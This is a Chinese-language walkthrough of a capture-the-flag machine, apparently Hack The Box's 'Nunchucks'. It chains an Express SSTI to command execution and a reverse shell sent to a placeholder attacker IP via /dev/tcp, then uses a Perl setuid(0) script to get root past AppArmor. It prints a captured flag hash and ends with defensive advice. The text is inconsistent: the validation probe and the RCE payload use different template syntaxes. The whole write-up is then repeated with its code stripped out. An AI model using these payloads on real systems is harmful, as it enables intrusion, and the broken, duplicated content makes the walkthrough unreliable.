[Meachines] [Easy] Nunchucks Express Nodejs SSTI+AppArmor Bypass+Perl权限提升
字数 1297 2025-08-22 12:23:36

Nunchucks Express Node.js SSTI + AppArmor Bypass + Perl权限提升教学文档

1. 信息收集阶段

1.1 初始扫描

目标IP: 10.10.11.122

开放端口:

  • 22/tcp: OpenSSH 8.2p1 Ubuntu
  • 80/tcp: nginx 1.18.0 (重定向到HTTPS)
  • 443/tcp: nginx 1.18.0 (SSL)

SSL证书信息:

  • 通用名称: nunchucks.htb
  • 组织: Nunchucks-Certificates
  • 地区: Dorset, UK
  • 有效期: 2021-08-30 至 2031-08-28
  • 备用DNS: localhost, nunchucks.htb

1.2 子域名枚举

使用ffuf工具枚举子域名:

ffuf -u https://nunchucks.htb/ -H 'Host: FUZZ.nunchucks.htb' -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -ac

发现子域名:

  • store.nunchucks.htb

添加到hosts文件:

echo "10.10.11.122 nunchucks.htb store.nunchucks.htb" >> /etc/hosts

2. Express Node.js SSTI漏洞利用

2.1 发现API端点

通过查看store.nunchucks.htb的JavaScript文件(main.js)发现API端点:

POST /api/submit HTTP/1.1
Host: store.nunchucks.htb
Content-Type: application/json
{"email": "test@example.com"}

2.2 SSTI漏洞验证

Express Node.js应用可能存在服务器端模板注入(SSTI)漏洞。尝试注入模板表达式:

{"email": "{{7*7}}"}

如果返回结果包含"49",则确认存在SSTI漏洞。

2.3 利用SSTI获取RCE

构造恶意payload执行命令:

{"email": "<%= require('child_process').execSync('id') %>"}

3. 获取初始访问权限

成功利用SSTI后,可以获取反向shell:

{"email": "<%= require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/YOUR_IP/PORT 0>&1\"') %>"}

获取user.txt内容:

7cd2ec2b576f3a1054c8d5ece6da747a

4. 权限提升: AppArmor Bypass + Perl

4.1 检查AppArmor配置

查看Perl的AppArmor配置文件:

cat /etc/apparmor.d/usr.bin.perl

发现限制:

  • 禁止读取/etc/nsswitch.conf
  • 禁止访问/root/目录
  • 禁止访问/etc/shadow
  • 限制特定命令(id, ls, cat, whoami, backup.pl)

4.2 AppArmor与Perl的BUG

关键漏洞:

  • 当脚本包含shebang行(如#!/usr/bin/perl)时,AppArmor的限制可能被绕过
  • AppArmor无法区分脚本本身和由脚本调用的解释器
  • 官方BUG报告: https://bugs.launchpad.net/apparmor/+bug/1911431

4.3 利用Perl提升权限

创建恶意Perl脚本:

cd /tmp
set +H
echo -e "#!/usr/bin/perl\nuse POSIX qw(setuid);\nPOSIX::setuid(0);\nexec \"/bin/bash\";" > root.pl
chmod +x root.pl
./root.pl

脚本说明:

  1. 使用POSIX模块的setuid函数
  2. 将进程UID设置为0(root)
  3. 执行/bin/bash获取root shell

4.4 获取root权限

执行上述脚本后,将获得root权限,可以访问root.txt文件。

5. 防御措施

5.1 防止SSTI

  • 对用户输入进行严格过滤
  • 使用安全的模板引擎配置
  • 避免直接将用户输入传递给模板

5.2 防止AppArmor绕过

  • 更新AppArmor到最新版本
  • 审查和限制Perl的执行权限
  • 监控可疑的Perl脚本执行

5.3 系统加固

  • 定期更新系统和软件包
  • 限制不必要的SUID/SGID权限
  • 实施最小权限原则
Nunchucks Express Node.js SSTI + AppArmor Bypass + Perl权限提升教学文档 1. 信息收集阶段 1.1 初始扫描 目标IP: 10.10.11.122 开放端口: 22/tcp: OpenSSH 8.2p1 Ubuntu 80/tcp: nginx 1.18.0 (重定向到HTTPS) 443/tcp: nginx 1.18.0 (SSL) SSL证书信息: 通用名称: nunchucks.htb 组织: Nunchucks-Certificates 地区: Dorset, UK 有效期: 2021-08-30 至 2031-08-28 备用DNS: localhost, nunchucks.htb 1.2 子域名枚举 使用ffuf工具枚举子域名: 发现子域名: store.nunchucks.htb 添加到hosts文件: 2. Express Node.js SSTI漏洞利用 2.1 发现API端点 通过查看store.nunchucks.htb的JavaScript文件(main.js)发现API端点: 2.2 SSTI漏洞验证 Express Node.js应用可能存在服务器端模板注入(SSTI)漏洞。尝试注入模板表达式: 如果返回结果包含"49",则确认存在SSTI漏洞。 2.3 利用SSTI获取RCE 构造恶意payload执行命令: 3. 获取初始访问权限 成功利用SSTI后,可以获取反向shell: 获取user.txt内容: 4. 权限提升: AppArmor Bypass + Perl 4.1 检查AppArmor配置 查看Perl的AppArmor配置文件: 发现限制: 禁止读取/etc/nsswitch.conf 禁止访问/root/目录 禁止访问/etc/shadow 限制特定命令(id, ls, cat, whoami, backup.pl) 4.2 AppArmor与Perl的BUG 关键漏洞: 当脚本包含shebang行(如# !/usr/bin/perl)时,AppArmor的限制可能被绕过 AppArmor无法区分脚本本身和由脚本调用的解释器 官方BUG报告: https://bugs.launchpad.net/apparmor/+bug/1911431 4.3 利用Perl提升权限 创建恶意Perl脚本: 脚本说明: 使用POSIX模块的setuid函数 将进程UID设置为0(root) 执行/bin/bash获取root shell 4.4 获取root权限 执行上述脚本后,将获得root权限,可以访问root.txt文件。 5. 防御措施 5.1 防止SSTI 对用户输入进行严格过滤 使用安全的模板引擎配置 避免直接将用户输入传递给模板 5.2 防止AppArmor绕过 更新AppArmor到最新版本 审查和限制Perl的执行权限 监控可疑的Perl脚本执行 5.3 系统加固 定期更新系统和软件包 限制不必要的SUID/SGID权限 实施最小权限原则